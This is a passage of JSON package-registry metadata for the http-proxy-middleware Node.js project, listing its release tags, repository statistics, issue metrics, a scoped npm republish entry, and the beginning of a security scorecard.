g_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"952c1afb7045179417659cf45c111f51b9339d2e","kind":"commit","published_at":"2018-03-12T22:39:51.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.18.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0/manifests"},{"name":"v0.17.4","sha":"cb5e084e71bc3202fe4f711f2f5edf4e29355d99","kind":"commit","published_at":"2017-03-02T23:05:58.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4/manifests"},{"name":"v0.17.3","sha":"8689cb429577a7722b9334e702535cb752191c43","kind":"commit","published_at":"2016-12-07T21:17:30.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3/manifests"},{"name":"v0.17.2","sha":"f03aecf755a0a645a83646131548754638b2e994","kind":"commit","published_at":"2016-09-28T22:24:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"8a0ff1f0da2496b517ba02ccb30b1a9a17926dc7","kind":"commit","published_at":"2016-08-11T21:25:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"306fdd4162af41a5ced5ba17be80cbb861204f5f","kind":"commit","published_at":"2016-07-03T15:29:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"09926cdd29573e2966993a743d8b68e415f9c6b5","kind":"commit","published_at":"2016-06-13T18:48:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.16.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0/manifests"},{"name":"v0.15.2","sha":"679526ef1f3a61e4b68c26d9f644195e93727b72","kind":"commit","published_at":"2016-05-29T12:50:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9e542faa39fd9e8caa9785088fb99511b24f41f3","kind":"commit","published_at":"2016-05-26T22:01:15.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"b33b96978506ce00b7833f94514523a696e6cb13","kind":"commit","published_at":"2016-05-03T20:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"28f17062174987e80bdb3ff60478d746a17cb43f","kind":"commit","published_at":"2016-04-18T20:37:21.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.14.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0/manifests"},{"name":"v0.13.0","sha":"6606489c35a06ded05694d33a15cf02917ca1173","kind":"commit","published_at":"2016-03-23T20:19:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.13.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"951d9bf3fe81d83935bdcb8dfb51643a2775f251","kind":"commit","published_at":"2016-03-13T17:47:42.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.12.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1f21feda49e57806d82be94ba3f3e46a70e7f868","kind":"commit","published_at":"2016-02-24T19:56:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.11.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"5bed3c630c00c0d301fcdda4e4ea20ab31a95bfd","kind":"commit","published_at":"2016-02-05T19:16:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0/manifests"},{"name":"v0.10.0-beta","sha":"8ce646fe7c7736e9d90bc5d02682bc3fcc649da1","kind":"commit","published_at":"2016-01-26T21:28:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0-beta","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta/manifests"},{"name":"v0.9.1","sha":"fe24b979cf7a55b757092203a5c7832233ff67ea","kind":"commit","published_at":"2016-01-18T21:43:17.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"57094e506e92bd7a3f5e6cf94dbbad7632cdfcad","kind":"commit","published_at":"2015-09-28T22:01:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0/manifests"},{"name":"v0.8.2","sha":"5f343b95eac318156e4475d80ec9b9c56437c273","kind":"commit","published_at":"2015-09-23T18:43:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"13f949160afd7ef754d5a27af9514d76099817f7","kind":"commit","published_at":"2015-09-09T16:02:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"f1559c909f0ed3239a970c73f15755d65de86a53","kind":"commit","published_at":"2015-08-31T10:46:07.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"75a062515001910ce803b1147ee8310a102c82b8","kind":"commit","published_at":"2015-08-23T20:52:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.7.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"bb473ad7c20de225fdaed6a7e74e29f3f948fce6","kind":"commit","published_at":"2015-08-18T11:40:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.6.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"a025f336746df150c58f2851595b8073b3f96e42","kind":"commit","published_at":"2015-08-07T18:29:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.5.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"b10d7301fcde3be94b8fe4708ec1e0ad17b0bf4a","kind":"commit","published_at":"2015-07-28T21:21:11.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.4.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0/manifests"},{"name":"v0.3.2","sha":"e6ef751eb707e2898bed65e23e88fa570123e87c","kind":"commit","published_at":"2015-07-25T12:59:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"bcb949b051fa46810fcce7defb8d0f927214db62","kind":"commit","published_at":"2015-07-24T15:52:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"b596677e0fe4b6c4d974a21949c5e1361b4cbb33","kind":"commit","published_at":"2015-07-19T11:07:26.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"afd3536ba67185b3f082c7a4bdb7cfa7534b7403","kind":"commit","published_at":"2015-07-13T09:28:23.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"abcf4a81366dde1d8fa0057c519d79765c54ef46","kind":"commit","published_at":"2015-07-09T03:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0/manifests"},{"name":"v0.0.5","sha":"9a16ea7ed310db2a2c40a4a8f4bdc136c02f502d","kind":"commit","published_at":"2015-03-31T12:37:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5/manifests"}]},"repo_metadata_updated_at":"2025-10-05T15:16:55.944Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":1,"rankings":{"downloads":null,"dependent_repos_count":4.790207323550892,"dependent_packages_count":8.45644379523272,"stargazers_count":0.6369928955580638,"forks_count":0.9514432972578183,"docker_downloads_count":null,"average":3.7087718278998736},"purl":"pkg:golang/github.com/chimurai/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/chimurai/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/chimurai/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/chimurai/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-02T00:03:37.533Z","issues_count":131,"pull_requests_count":265,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4293743.834782609,"issues_closed_count":64,"pull_requests_closed_count":230,"pull_request_authors_count":40,"issue_authors_count":127,"avg_comments_per_issue":4.854961832061068,"avg_comments_per_pull_request":1.3018867924528301,"merged_pull_requests_count":186,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":21,"past_year_pull_requests_count":108,"past_year_avg_time_to_close_issue":409788.8333333333,"past_year_avg_time_to_close_pull_request":126322.35164835164,"past_year_issues_closed_count":6,"past_year_pull_requests_closed_count":91,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":20,"past_year_avg_comments_per_issue":0.42857142857142855,"past_year_avg_comments_per_pull_request":1.1574074074074074,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":76,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":188,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":88,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fchimurai%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fchimurai%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fchimurai%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fchimurai%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fchimurai%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fchimurai%2Fhttp-proxy-middleware/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2206443,"maintainers_count":0,"namespaces_count":792747,"keywords_count":113213,"github":"golang","metadata":{"funded_packages_count":53976},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-06-10T05:03:23.672Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":5433801,"name":"@mariuszbartnik/http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express, next.js and more","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","next.js","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"mariuszbartnik","versions_count":1,"first_release_published_at":"2022-11-15T10:16:38.290Z","latest_release_published_at":"2022-11-15T10:16:38.290Z","latest_release_number":"0.0.1","last_synced_at":"2026-07-10T15:02:06.300Z","created_at":"2022-11-17T00:39:43.763Z","updated_at":"2026-07-10T15:02:06.300Z","registry_url":"https://www.npmjs.com/package/@mariuszbartnik/http-proxy-middleware","install_command":"npm install @mariuszbartnik/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.0.1"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous 